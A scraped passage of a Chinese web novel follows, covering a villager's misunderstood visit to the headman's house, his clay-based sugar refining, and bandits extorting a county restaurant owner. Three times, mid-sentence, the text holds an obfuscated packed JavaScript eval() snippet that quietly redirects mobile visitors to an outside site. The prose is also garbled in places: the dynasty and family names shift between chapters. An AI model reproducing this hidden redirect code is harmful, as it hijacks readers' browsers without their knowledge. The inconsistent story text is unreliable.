苏阳走到赖志成家门前,伸手敲门。 “谁呀?” 一个女子的声音从门里传来,带着几分紧张。 吱呀—— 门开了,露出一个年轻姑娘的脸庞。 “苏……苏二?你咋来了?” 赖志成的小姨子王婉苏,手里还拿着一把扫帚,脸上带着几分慌乱。 苏阳一愣,心说这小姨子怎么见了自己跟见了猫的耗子似的? 他定了定神,开口道: “我来找你姐夫,想借个瓦溜用用……” 话还没说完,他就愣住了。 只见王婉苏直勾勾地盯着自己,眼神里……竟然带着几分惧意? 这是啥情况? 自己也没得罪她啊? 苏阳下意识地抬手摸了摸脸。 王婉苏心里慌得不行,自从上次她无意中听到赖志成和儿子的谈话,说要用什么下三滥的手段弄苏二,就一直在做噩梦。 她一个没见过世面的小姑娘,哪见过这种阵仗? 苏阳忽然上门,她还以为是事情败露,苏二是来找麻烦 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大元朝虽然不像后世某些朝代那么变态,但男女之间的规矩还是很多的。 像这样光天化日之下搂搂抱抱的,别说未婚男女了,就是夫妻俩也做不出来。 更何况,苏阳和王婉苏还只是两个不怎么熟的同村人。 就在这时,只听“吱呀”一声,屋门开了。 赖志成拿着拐杖,一瘸一拐地走了出来。 他刚走到门口,就看到了让他目瞪口呆的一幕: 自己那如花似玉的小姨子,竟然被苏二搂在怀里! “这……这**是咋回事?” 赖志成愣住了,手里的拐杖“啪嗒”一声掉在了地上。 他使劲揉了揉眼睛,以为自己看花了眼。 可定睛一看,没错啊! 那个被搂着的……不是自己小姨子王婉苏吗? 那个搂着她的……不是村里的二流子苏二吗? “啊!苏二,你个天杀的,你……你敢欺负我小姨子!老子……跟你死磕到底!” 反应过来的赖志成,顿时怒火中烧。 他捡起拐杖,不管不顾地朝苏阳冲了过去。 第一百一十四章 赖志成气得嘴唇哆嗦,差点咬到舌头。 王婉苏羞得满脸通红,恨不得找个地缝钻进去。 她心里七上八下,乱成一团,哪还顾得上什么男女授受不亲,只想着赶紧把眼前这瘟神送走。 赖志成父子俩的阴谋,像一块巨石压在她心头,让她喘不过气来。 她生怕下一秒,赖志成就会暴起发难,对苏阳不利。 一股莫名的力量涌上心头,她猛地推开苏阳,声嘶力竭地喊道: “苏二!你快走!别管我!” 声音尖锐,带着几分哭腔。 苏阳正盘算着怎么开口讨要瓦溜,冷不丁被她推了个趔趄,一脸的茫然。 啥玩意儿? 这是要赶我走? 我又没干啥缺德事! 一旁的赖志成见状,肺都快气炸了。 好你个王婉苏!平时装得跟个贞洁烈女似的,我还以为是苏二这小子贼心不死,死缠烂打,合着你们俩是早就有了一腿啊! 这要是心里没鬼,你推他干啥? 瞧你那慌里慌张的样儿,生怕我把他吃了不成? 他强忍着心头翻江倒海般的怒火,一瘸一拐地朝大门口挪去。 可腿上的伤口像是被谁撒了一把辣椒面,火烧火燎地疼。 每挪动一步,都像是在受刑。 就这么一耽搁,王婉苏“咣当”一声,已经把大门关了个严严实实,还顺手插上了门闩。 苏阳险些被门板撞破鼻子。 这下可好,浑身是嘴也说不清了。 他心里那个冤:我这是招谁惹谁了? 赖志成在院子里气得暴跳如雷,跟**亲爹似的,嗷嗷直叫唤。 他婆娘也被这动静惊醒,顾不上梳洗,穿着睡衣就从屋里冲了出来,头发乱得跟鸡窝似的。 左邻右舍的也被吵醒了,一个个披着衣服,趿拉着鞋,探头探脑地出来看热闹。 这是出啥事了? 大清早的,鬼哭狼嚎的,莫不是土匪进村抢人了? 众人定睛一瞧,土匪倒是没见着,只见苏阳一个人孤零零地站在赖志成家大门外,走也不是,留也不是,那叫一个尴尬。 几个胆大的村民刚想凑上前去问个究竟,赖志成家的大门“吱呀”一声又开了。 赖志成婆娘双手叉腰,瞪着一双牛眼,气势汹汹地冲了出来,活脱脱一只护崽子的母老虎: “苏二!你个挨千刀的!老娘今儿个要是不扒了你的皮,我就不姓赖!” 她一边骂,一边四下寻摸着家伙什,那架势,恨不得把苏阳生吞活剥了。 围观的吃瓜群众们眼珠子都快掉出来了。 我的个乖乖! 苏二这小子,吃了熊心豹子胆了,居然敢打村正小姨子的主意! 光天化日,朗朗乾坤,他就不怕遭报应? 就算真有那花花肠子,也不能跑到人家里头来胡搞吧? 这下好了,让人家姐姐当场逮了个正着,看你小子**! 自古以来,英雄难过美人关,风流韵事,总是老百姓们茶余饭后最爱嚼的舌根。 更何况,这事儿里头,还有个近来在青龙村里声名鹊起的苏阳。 你说这小子,家里放着个如花似玉的小养娘不要,偏偏要来招惹村正那丧门星般的小姨子,他是嫌命长了不成? 可当大伙儿眼瞅着王婉苏奋不顾身地冲出门外,一把将苏阳推开,还迭声催促他赶紧逃命的时候,刚捡起来的眼珠子又“咣当”一声掉回了地上。 哎哟喂! 敢情不是苏二单相思,这俩人是早就暗通款曲,珠胎暗结了啊! 众人暗自替苏阳捏了把冷汗,都因为赖志成这小姨子可不是个善茬。 王婉苏命硬,克夫,这是十里八乡都知道的事儿。 苏二这小子,难道就真不怕被克死? 有几户人家的后生还在苏阳手底下讨生活,一想到这茬儿,更是急得像热锅上的蚂蚁团团转。 这苏二要是真被“扫把星”给克**,自家孩子可咋整?往后的日子可怎么过? 苏阳可不想平白无故地被人扣上个“调戏村正小姨子”的屎盆子。 他压根就没搭理赖志成那婆娘,只是直勾勾地盯着赖志成,提高了嗓门: “村正!你可别听风就是雨!我今儿个来,真是为了借瓦溜!” 他顿了顿,又补充道: “你也知道,我家那房子,年久失修,一下雨就漏得跟筛子似的。这不,昨儿个夜里又下了一场,屋里都快成水帘洞了!我这不也是没法子了嘛!” 他不解释还好,这一解释,赖志成更是气不打一处来。 借瓦溜? 你借瓦溜借到我家里来了? 还借到我小姨子身上去了?< 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三个未婚夫,还没过门就见了阎王,这十里八乡的,谁家还敢娶她进门? 就算有那不怕死的,也都是些歪瓜裂枣,穷得叮当响的货色。 那种人家,就算自家小妹点头,他们全家也丢不起那个人! 可要是换成苏二这小子,那可就两说了。 虽说苏二这小子,年纪比自家小妹小了几岁,可那又算个啥? 这小子长得俊,浓眉大眼的,比戏文里的书生还俊俏。 最近又走了狗屎运,发了笔横财,手里头有的是银子! 他要是真想找死,想迎娶家中小妹,也不是不能商量…… 至于前些日子被苏阳暴打的事儿,赖志成婆娘早就抛到九霄苏外去了。 跟自家小妹的终身大事比起来,那点儿皮肉之苦,算个屁! 只要苏二这小子点了头,妹妹倒是没啥意见,那就万事大吉! 最好能让这臭小子再…… 咳咳! 话说回来,这赖志成的婆娘,脑子也真够奇葩的。 身为临溪村村正的大闺女,从小娇生惯养,作威作福惯了,竟养出了一身受虐狂的毛病。 第一百一十六章 你哭有什么用?能把那个没良心的东西哭回来吗?” “婶子……”林绮娘抽泣着,想说什么,却又说不出口。 “你别叫我婶子!我没你这样的侄女!”王婶气得直跺脚,“我早就跟你说过,苏二那小子不是个好东西,你偏不信!现在好了吧?被人骗了,被人耍了,你才知道后悔?” “我……我没有……”林绮娘想解释,可话到嘴边,又咽了回去。 她知道,现在说什么都没用了。 王婶认定了苏阳是个负心汉,她再怎么解释,也是徒劳。 “没有?没有你哭成这样?”王婶冷笑一声,“我告诉你,林绮娘,你今天就是哭死在这里,我也不会同情你!这是你自找的!” 说完,王婶转身就走,留下林绮娘一个人在那里伤心落泪。 王婶一路骂骂咧咧地来到苏阳的训练场。 她要找苏阳算账,替林绮娘讨回公道。 苏阳正在训练手下,见王婶气势汹汹地冲过来,心里就一阵发虚。 还没等他开口,王婶就劈头盖脸地骂了起来: “苏二!你个没良心的东西!你给我滚出来!” 苏阳一头雾水,不知道自己又哪里得罪了这位姑奶奶。 “王婶,您这是咋了?谁惹您生气了?”苏阳小心翼翼地问道。 “你竟然还有脸来问我怎么了?”王婶指着苏阳的鼻子,破口大骂,“你做了什么亏心事,你自己心里清楚!” “我……”苏阳刚想解释,就被王婶打断了。 “你什么你?你还有脸说!”王婶越说越气,“我告诉你,苏二,你要是再敢欺负绮娘,我跟你没完!” 苏阳手下那帮小子一听这话,顿时来了精神。 他们一个个竖起耳朵,瞪大眼睛,生怕错过任何一个细节。 苏阳一看这架势,就知道自己又被误会了。 他连忙把王婶拉到一边,小声说道: “王婶,您误会了,我真没欺负绮娘。” “你还敢狡辩!”王婶根本不相信苏阳的话,“你和赖志成家小姨子的事,整个村子都传遍了,你还想瞒我?” “我……”苏阳百口莫辩,他总不能把制白糖的秘密说出来吧? “行了,你别说了!”王婶打断了苏阳的话,“我今天来,就是想告诉你,你要是再敢对不起绮娘,我饶不了你!” 说完,王婶气呼呼地走了。 苏阳看着王婶的背影,无奈地叹了口气。 他知道,这下自己是彻底洗不清了。 不过,他也没打算解释。 清者自清,浊者自浊。 他相信,时间会证明一切。 …… 经过一番努力,苏阳总算把制白糖的工具和材料都准备好了。 瓦溜是赖志成家赔的,虽然是旧的,但好歹还能用。 黄胶泥是从卧龙沟里挖的,干茅草也是现成的。 万事俱备,只欠东风。 苏阳决定,今天就开始试验制白糖。 他把瓦溜的底部用茅草塞住,然后小心翼翼地放在一口水缸上。 这口水缸是特意挑选的,完好无损,绝对不会漏水。 他深吸一口气,开始往瓦溜里倒红糖。 红糖是之前买的,足足有三百斤。 不过,他并没有全部倒进去,只倒了大约三分之一。 毕竟是第一次试验,万一失败了,损失太大。 红糖倒好之后,苏阳又小心翼翼地把瓦溜抬起来,让林绮娘帮忙把底部的茅草抽出来。 林绮娘虽然心里还有气,但还是乖乖地照做了。 她知道,苏阳做这些,都是为了她好。 虽然她不知道苏阳到底在做什么,但她相信苏阳不会害她。 “二哥,你这到底是要做啥?”林绮娘忍不住问道。 “嘘,小点声。”苏阳做了个噤声的手势,“等会儿你就知道了。” 接下来,苏阳开始往红糖里倒黄泥浆。 “二哥!你疯了!”林绮娘惊呼一声,连忙阻止,“你这是干啥?这红糖还能吃吗?” “绮娘,你别急。”苏阳一边倒,一边解释,“这是制白糖的关键一步,你看着就好。” “制白糖?”林绮娘一脸疑惑,“白糖是什么东西?” “白糖就是……比红糖更甜,更好吃的东西。”苏阳想了想,说道。 “比红糖还甜?”林绮娘瞪大了眼睛,一脸的不敢相信,“这怎么可能?” “等会儿你就知道了。”苏阳神秘一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006439|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,继续往红糖里倒黄泥浆。 林绮娘站在一旁,看着苏阳的动作,心里充满了疑惑和不解。 她实在想不明白,苏阳为什么要往红糖里倒黄泥浆。 这黄泥浆脏兮兮的,倒进红糖里,还能吃吗? 难道苏阳真的疯了? 一旁的王婶也看不下去了,忍不住说道:“苏二,你这是干啥?这红糖多贵啊,你就这么糟蹋了?” “婶子,您就瞧好吧。”苏阳头也不抬地说道,“等会儿让您尝尝,什么是真正的美味!” 王婶撇了撇嘴,一脸的不相信。 她倒要看看,苏二能搞出什么名堂来。“二哥,你这是……该不会是想让我和卓村正的小姨子……” 林绮娘的声音都带上了哭腔,纤细的手指紧紧绞着衣角,指节泛白,像是要把全身的力气都拧进去。搁在晋朝,女子地位本就不高,更别提她这种童养媳,说是丫鬟都不为过。 要是苏阳真有了新欢,她这正妻地位都难保。别说正妻了,怕是连个落脚的地方都没有。她娘家村子里,就有童养媳被降成小妾,过得那叫一个惨,日日被人当沙包使唤,连个牲口都不如。 眼瞅着苏阳把黄泥浆往贵重的红糖里倒,林绮娘只当是苏阳在赌气,要把这金贵的玩意儿糟蹋了。她越想越怕,心一横,眼泪都快下来了: “二哥,你要是……你要是真喜欢,就……就纳了她也行,只要……只要你别不要我……” 说到最后,声音已经细若蚊蝇,头也低了下去,不敢看苏阳的眼睛。 旁边上了年纪的王婶,吧嗒吧嗒抽着旱烟,吧嗒嘴的声音在安静的院子里格外响亮。她斜睨着苏阳,毕竟是旁观者清,不像林绮娘那样当局者迷,关心则乱。见林绮娘都快急哭了,王婶把烟杆子往桌上一磕,发出“梆”的一声,嗓门都提高了八度: “绮娘你别怕!有婶子在,他姓苏的敢动你一根手指头试试!我老婆子今天就把话撂这儿了,他敢欺负你,我饶不了他!” “哎,我说你们这都哪儿跟哪儿啊……” 苏阳哭笑不得,他张了张嘴,刚想解释自己是在制白糖,可话到嘴边又咽了回去。他发现,这种事,只会越描越黑,还不如索性闭嘴,用事实说话,让她们看看白糖到底是个啥金贵玩意儿。 第一百一十七章 可这“事实”却不怎么给面子,非但没说话,还“**”打了苏阳的脸,像极了那些年苏阳做过的无数次失败的实验。 只见他忙活半天,往瓦罐里倒了不知道多少黄泥浆,定睛一瞅,瓦罐里的糖色还是乌漆嘛黑,顶多比原来稍微淡了那么一丁点,别说变白了,离后世那种白砂糖还差着十万八千里呢! “邪门了!”苏阳心里犯嘀咕,眉头拧成了疙瘩,像个解不开的麻绳团,“难不成是资料有误?还是我记岔了?” 他挠了挠头,又使劲拍了拍脑袋,像是在给自己加油打气: “不可能啊,这法子我记得清清楚楚,每个步骤都对得上,没错啊……” “不行,再来一次!我就不信这个邪了!” 苏阳也是个倔脾气,他不信邪,又舀了一瓢黄泥浆,这回他格外小心,一点一点地往瓦罐里倒,像是在对待什么稀世珍宝。 …… 一连试了三回,瓦罐里的糖色总算又淡了些,有点接近后世红糖的颜色了。 但问题是,黄泥浆这么一浇,红糖也肉眼可见地少了,本来满满一瓦罐,现在都快见底了。毕竟糖能溶于水,这么折腾下去,糖都快没了! 照这速度,不等糖变白,瓦罐里估计就啥也不剩了。苏阳看着越来越少的红糖,心里也开始打鼓,这法子到底行不行啊? 这时候,林绮娘和王婶也算看明白了,原来苏阳是想让红糖颜色变浅。 可俩女人见识有限,哪知道红糖脱色意味着啥。 在她们看来,不管啥颜色的糖,都是金贵的玩意儿,苏阳这就是纯败家!王婶心疼地直嘬牙花子,恨不得上去给苏阳两巴掌,把这败家玩意儿给打醒。 苏阳是谁?博士研究生! 试验失败那都是家常便饭,哪能这么容易就被打击到。再说了,这也不是完全失败,至少糖色变淡了,这就说明有戏! 既然焦糖能褪色,就说明这法子大方向没错,无非是细节上还有待改进。苏阳暗自给自己鼓劲,这点小挫折算个啥,想当年做的那些实验,哪个不比这难? 苏阳深吸一口气,强迫自己冷静下来。他知道,作为一个理工男,解决问题是本能,那种失败一两次就放弃的人,做不了码农大佬,更别提准博士了。 他开始仔细回想每一个步骤,试图找出问题所在,就像侦探在寻找案件的蛛丝马迹。 “红糖不是溶于水了吗?那就把黄泥浆调稠点,只用黄泥吸附,不用水来溶解。水太多了,把糖都给冲走了,这不就成了舍本逐末了吗?” 苏阳一拍大腿,觉得自己找到了问题的关键。他豁然开朗,像是拨开了眼前的迷雾,看到了光明的前路。 他打定了主意,撸起袖子,准备继续干,不做出白糖来誓不罢休。 …… 与此同时,青龙村里,赖志成那边,卫村队也总算拉起了队伍。他站在村口,背着手,看着眼前这帮歪瓜裂枣的村民,心里盘算着怎么利用这次机会,把苏阳给彻底摁死。 别看赖志成当了这么多年村正,人缘不咋地,心眼可比针尖还小,办起事来还真有两把刷子。他知道,光凭这些人,跟土匪硬碰硬那是找死,得想点别的辙。 他咳嗽一声,清了清嗓子,高声宣布: “乡亲们,咱们青龙村,要想不被土匪祸害,就得把村墙给修起来!修得高高的,厚厚的,让那些**土匪进不来!” 赖志成这第一个决定就相当靠谱——修村墙! 他心里清楚,面对那些**不眨眼的土匪,一帮饭都吃不饱的村民,手里连根像样的棍子都没有,哪能是对手? 想守住青龙村,守住他韩家的家业,硬碰硬肯定不行,非得建造防护设施,把村子围起来,才能挡住那些不要命的土匪。 他眯缝着眼睛,盘算着如何利用这次机会。他要的不仅仅是保住村子,他还要借着这次机会,彻底除掉苏阳这个眼中钉,肉中刺! 这回是每家每户都要出一个人,所以卫村队人还真不少。 赖志成把村里能动弹的男人都给拉了过来,即便不算苏阳和他手底下那帮人,也硬是凑了一百多号人,乌泱泱的一大片,看着还挺唬人。 他心里得意,人多力量大,看你苏二还怎么蹦跶! 在晋朝,徭役是能找人代替的,也能用粮食抵。有钱人家可以花钱请人替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006440|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己服徭役,没钱的就只能自己去卖苦力。 至于苏阳,赖志成压根就没指望他会亲自来。他巴不得苏阳不来呢,这样他就有借口收拾他了。 苏阳当然不会傻乎乎地往枪口上撞。他早就想好了对策,既不让自己吃亏,也不让赖志成抓到把柄。 苏阳把手下的小子们都召集起来,把粮食分给他们,然后说: “你们自己看着办,想出力的,就去卫村队,不想出力的,就交粮食,我不强求。” 他顿了顿,又补充了一句: “家里人多的,可以出个人,家里人少的,就交粮食。总之,别让赖志成那老小子抓到把柄就行。” “阳哥,您放心,我们都听您的!” “就是,我们才不去给赖志成那老东西卖命呢!” “阳哥,您就瞧好吧,我们保证不给您丢人!” …… 苏阳手下的小子们纷纷表态,一个个都对苏阳忠心耿耿。 这事关乎全村,苏阳当然不能搞特殊。他知道,别人都参加,他要是不参加也不交粮,这就很离谱了,会落人口实,被人戳脊梁骨。 他苏阳是要做大事的人,可不能因小失大,因为这点小事就跟全村人翻脸。 苏阳把粮食分给手下,让他们自己选择,既能避免和赖志成正面冲突,又能收买人心,一举两得。 在古代,民众之间以物易物,不用“斤两”,而是说“升”。说白了,就是用一个固定大小的容器来量,装满了就是一升,简单方便。 晋朝的一升,差不多相当于后世一斤二两。苏阳给手下发的粮食,不多不少,人均日配三升口粮,刚好够抵徭役。 这看似不多,实际上已经很不少了。要知道,在晋朝,绝大多数老百姓家里都揭不开锅,能拿出这么多粮食的,还真没几家。 所以,对那些穷苦百姓来说,与其交粮食,还不如自己去服徭役,好歹还能省下几口吃的。 赖志成眼巴巴地等着苏阳犯错,好找借口收拾他,结果苏阳这小子滑不留手,根本不给他机会。 他站在村口,看着稀稀拉拉的队伍,心里那叫一个憋屈。 第一百一十八章 他本来还指望着用卫村队来整治苏阳呢,结果苏二这小子居然没来,让他一肚子坏水都没处使,只能干瞪眼。 “苏二啊苏二,你小子给我等着!早晚有一天,我要让你跪在我面前求饶!” 赖志成咬牙切齿地念叨着,眼睛里闪着恶毒的光芒。 他可不是个善茬,苏二抢了他村正的位置,还敢觊觎他小姨子,简直是活腻歪了!这事没完! 关于苏阳日后开垦卧龙沟北面的荒地,能给他赖志成带来多少好处? 呸!他现在已经顾不上那么多了,满脑子都是怎么弄死苏阳。他只知道,苏阳这小子蹿得太快,事态发展到必须处理的境地!再不除掉他,自己这村正的位置都快坐不稳了! 赖志成能想象到,照这速度下去,用不了多久,他这村正就得让贤,韩家在青龙村的好日子也算到头了!他必须想办法,在一切都来不及之前,把苏阳给摁下去,让他永世不得翻身! …… 清阳县,凤子楼。 一个面如冠玉的文人,打扮得油头粉面,领着俩五大三粗的壮汉,趾高气扬地迈步而入。书生手里还“唰唰”摇着把纸扇,扇面上画着几枝歪歪扭扭的竹子,一看就不是什么名家手笔,倒像是小孩子的涂鸦。 他这副做派,一看就是想装成个风流才子,可惜画虎不成反类犬,反倒让人觉得不伦不类。 “客官,几位?” 小伙计赶紧迎了上去,脸上堆着笑,心里却在犯嘀咕:这年头,啥人都能装读书人了?穿身长衫,拿把扇子,就以为自己是文曲星下凡了? “就仨人,楼上雅间伺候!” 书生“啪”地一声合上扇子,动作倒是挺潇洒,可惜说出的话却粗俗不堪,跟他的打扮格格不入。 小伙计心里更鄙夷了,这读书人说话咋这么粗俗?他偷偷翻了个白眼,强忍着不耐烦,领着三人上了楼,心里已经把这白面书生划入了“没钱还装X”的行列。 进了雅间,书生东瞅瞅,西看看,一边晃悠脑袋一边开口: “嗯,这地儿不错,装修得还挺像回事。以后兄弟们喝酒,算是有个落脚点了,总不能天天在街边小摊上对付吧?” “客官,您看……吃点啥?咱们凤子楼的菜,那可都是清阳县一绝,保您吃了还想吃!” 小伙计心里更鄙夷了,还当他是个文化人,原来是个装犊子的,给兄弟们留个喝酒的据点,你有钱付账吗?还想天天来?你也不撒泡尿照照自己,看你配不配! 他撇了撇嘴,脸上露出不耐烦的神色,恨不得赶紧把这几个穷鬼打发走。 文人不慌不忙点餐,又“唰唰”摇了半天扇子,像是在显摆他那把破扇子。他清了清嗓子,这才慢悠悠地开口,语气嚣张: “把你们这儿的招牌菜,一样给爷来一份!记住,是所有的招牌菜!少了哪个,仔细你们的皮!对了,去把你们掌柜的叫来,就说他四爷爷驾到了!让他赶紧滚过来,我有话要问他!”“哎呦,这位爷,您可真会说笑,我们掌柜的……” 清阳县最大的酒楼,凤子楼的伙计点头哈腰,正要解释。 啪!啪! 话没说完,脸上就狠狠挨了两记耳光,打得他眼冒金星,嘴角淌血。 “小畜生,看来是给你脸上贴金了啊?” 动手的汉子一脸横肉,凶神恶煞: “赶紧的,叫你们掌柜的滚出来!不然,准备给他家小子收尸得了!” 伙计直接懵了,捂着脸,脑瓜子嗡嗡的。 他哪知道掌柜的侄子熊千秋被土匪绑票的事。 可一听“收尸”俩字,伙计激灵灵打了个冷战,牙齿被打松了也顾不上,一瘸一拐地往后院跑。 肥掌柜的正在后院优哉游哉地品茶。 冷不丁听到侄子被绑,差点把手里的茶碗扔了。 “**,哪个不长眼的敢动老子的人!” 肥掌柜的怒吼一声,可随即就反应过来,脸色刷的一下就白了。 这年头,敢绑票的除了土匪还能有谁? 他急忙对报信的伙计说: “快,快去把凌老二给老子找来!” 伙计哭丧着脸: “掌柜的,凌爷……他……他出门办事去了……” “什么?!” 肥掌柜的一屁股坐在椅子上,脸都绿了。 凤子楼里一个能打的都没有,这可咋整? 肥掌柜的眼珠子乱转,小命要紧啊,可自个儿的命更要紧。 指望凌老二是指望不上了,得赶紧找人来救命! “来人,备好我的名帖,快去请郑县尉和严都生,让他们带兵来……剿匪!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006441|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 肥掌柜的咬牙切齿,最后两个字几乎是从牙缝里挤出来的。 小弟听说是山匪来了,吓得腿都软了,接过肥掌柜的名帖,转身就往后门跑。 心急火燎地想要去县衙报官。 可刚跑没两步,脖子突然被人掐住了,整个人像小鸡仔似的被人提溜了起来。 “小畜生,想去哪儿通风报信啊?” 一个阴冷的声音在他耳边响起,像是催命的符咒。 …… 半个时辰后。 肥掌柜的如坐针毡地坐在了凤子楼二楼的雅间里。 他低着头,眼角的余光却一个劲地往对面瞟。 对面,一个书生模样的家伙,正四仰八叉地坐在那里。 手里拿着把折扇,一下没一下地扇着,发出“唰唰”的声响,也不知道大冷的天他扇个什么劲。 真**能装! 肥掌柜心里暗骂,脸上却不敢露出丝毫的不满。 这书生,就是青虎岭的四当家,外号醉墨书生顾明远。 能在绿林道上混出字号的,没一个是善茬。 顾明远这次来凤子楼,自然是早有准备。 除了带了两个心腹手下,还在凤子楼的前后门各安排了两个人,布下了天罗地网。 报信的伙计,想溜的肥掌柜,一个都没跑掉,全被逮了回来。 “我说掌柜的,几日不见,气色不错啊。” 顾明远皮笑肉不笑地开口了,声音里透着一股子阴冷劲。 肥掌柜的额头上直冒冷汗,他做梦都想不到,青虎岭的土匪胆子竟然这么大。 大白天的就敢明目张胆闯进来,还敢明目张胆地敲诈自己! “好汉……爷,有话……您说……” 肥掌柜的声音都有些打颤了,舌头也开始打结。 顾明远“啪”的一声合上折扇,冷笑道: “痛快!我喜欢跟痛快人打交道!” “这……” “少废话!” 顾明远打断了肥掌柜的话, “一万两银子,少一个子儿,你就等着给你那宝贝侄子收尸吧!” 人为刀俎,我为鱼肉。 肥掌柜的再怎么心疼银子,也只能乖乖就范,人为财死,鸟为食亡,他可不想为了钱把命搭上。 第一百一十九章 他哆哆嗦嗦地吩咐伙计: “快……快去,回家里送信,让……让他们准备一万两银子……” 醉墨书生顾明远,在凤子楼里大吃大喝,好不快活。 肥掌柜的在一旁陪着,心里却在滴血。 “掌柜的,你也别哭丧着个脸。” 顾明远灌了一口酒,抹了抹嘴: “咱们拿了你的银子,自然也不会让你吃亏。从今往后,这凤子楼,我们青虎岭罩了!” “啥?!” 肥掌柜的眼珠子差点没从眼眶里瞪出来,声音都变了调: “你……你们还想在我这凤子楼……住下不成?” 顾明远哈哈大笑,露出满口黄牙: “老板就是老板,脑子就是灵光!没错,为了凤子楼的安全起见,咱们青虎岭会派几个兄弟常住。你就放心吧,以后谁也别想欺负你们凤子楼!” 放屁! 肥掌柜的在心里破口大骂,脸上却挤出一个比哭还难看的笑容。 青虎岭的土匪常住凤子楼,这**跟引狼**有什么区别? 酒足饭饱之后,顾明远大摇大摆地走了。 肥掌柜的亲自安排了三辆牛车,送走了这帮瘟神。 一万两银子,就这么打了水漂,肥掌柜的心如刀绞。 他站在凤子楼门口,望着牛车远去的背影,心里把青虎岭土匪的祖宗十八代都问候了一遍。 他怎么也想不通,自己怎么就这么倒霉,偏偏撞上了这帮**不眨眼的土匪。 可他也不想想,当初要不是他贪心不足,想要算计苏阳,也不会引来这帮瘟神! 更不会把自己手下的打手,都给搭进去! 要是凤子楼还像以前那样,有足够的人手,青虎岭的土匪哪敢这么嚣张? 天理循环,报应不爽!可悲的是,有些人永远不明白这个道理。 银子没了,连自家人都救不回来,还留在青虎岭当人质。 肥掌柜的一肚子邪火没处发泄,心里早就盘算开了。 银子,他要! 人,他也要! 而且,不能让青虎岭那帮土匪占了便宜! 他不动声色地提出了一个条件: 人要是回不来也行,但青虎岭的人得帮他办件事——干掉城西开药铺的钱福生! 钱福生的药铺生意红火,肥掌柜的早就眼红的要死。 钱福生家还有个千娇百媚的闺女,肥掌柜的几次三番上门提亲,想纳为小妾。 可钱福生那老东西就是不开窍,死活不同意。 这下可好,新仇旧恨加在一起,正好借青虎岭这把刀,除了钱福生这个眼中钉,肉中刺! 至于苏阳的那两千两银子,肥掌柜的另有打算。 得靠他自己想法子救人,要是落到土匪手里,那可就真是肉包子打狗,有去无回了! …… 苏阳还不知道,他原本指望肥掌柜的和青虎岭土匪狗咬狗,最好两败俱伤。 可谁能想到,半路杀出个程咬金,一个叫醉墨书生的家伙,竟然把这潭水给搅浑了。 话说回来,经过无数次的失败。 搭进去了无数的红糖。 苏阳终于成功了! 望着锅里晶莹剔透的糖霜,苏阳乐得合不拢嘴,一把搂过身旁的林绮娘,在她脸上“啵”地亲了一口! 这一下可把林绮娘给惊着了,她瞪大了眼睛,小嘴微张,半天没回过神来。 “二哥……你……” 林绮娘结结巴巴,一句话也说不完整。 苏阳哈哈大笑: “绮娘,咱们成功了!以后,咱们就有花不完的银子了!” 一旁的王婶也傻眼了。 她愣愣地看着苏阳和林绮娘,一时间不知道该说什么好。 “这俩孩子……也太……” 王婶嘀咕了一句,脸上泛起了一抹红晕。 不过,她心里更多的还是高兴。 苏阳这小子,总算是干了件正经事! 苏阳给红糖脱色的法子,其实不难。 核心原理就是利用黄泥的吸附作用。 先把茅草塞进瓦溜下面的口子里。 再把红糖熬成糖浆,倒进瓦溜里。 等糖浆凝固之后,拔掉茅草。 接下来,就是见证奇迹的时刻——用黄泥浆浇淋。 红糖溶解的速度很慢,里头的杂质会被黄泥吸附,顺着泥水从下面流出来。 最后留在瓦溜上头的,就是一层白花花的糖块。 至于那些溶解在泥浆里的红糖,苏阳也没浪费。 他琢磨出了一个土法子,把泥浆稀释,用茅草和棉布过滤。 就剩这锅糖水了,再熬煮一下,又能变成红糖。 结块的白糖想要变成细砂糖,也不难。 只 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要说造那种几十年不倒的大桥,苏阳自认没那两把刷子。 可咱是谁? 脑袋里装的,可都是后世的智慧! 对付个简易木桥,还不是小菜一碟? 苏阳早就瞄准了那几棵又高又直的树,直接砍倒,锯掉头尾,光秃秃的树干就有了。 这年月,最不缺的就是力气。 手下那帮小子,顿顿饱饭,天天操练,膀大腰圆,劲头十足。 十几个人一鼓作气,就把几根大木头运到了卧龙沟边上。 可咋把这玩意儿架过去,苏阳心里也没底。 自己一个外来户,两眼一抹黑,只能求助村里的老人。 还真有经历过当年架桥的老人,颤巍巍地给苏阳讲了一通。 苏阳一听,倒吸一口凉气。 早些年,村里为了过河方便,不是没想过在这卧龙沟上架桥。 可这卧龙沟,看着不宽,水却邪乎得很。 村里老人回忆,当年架桥的时候,村里人先试着把树干顺到沟底,再抬到对岸。 可夏天的水,流得跟野马似的,树干刚下去,就被冲得没影了,两个小伙子为了捞木头,也把命给搭进去了。 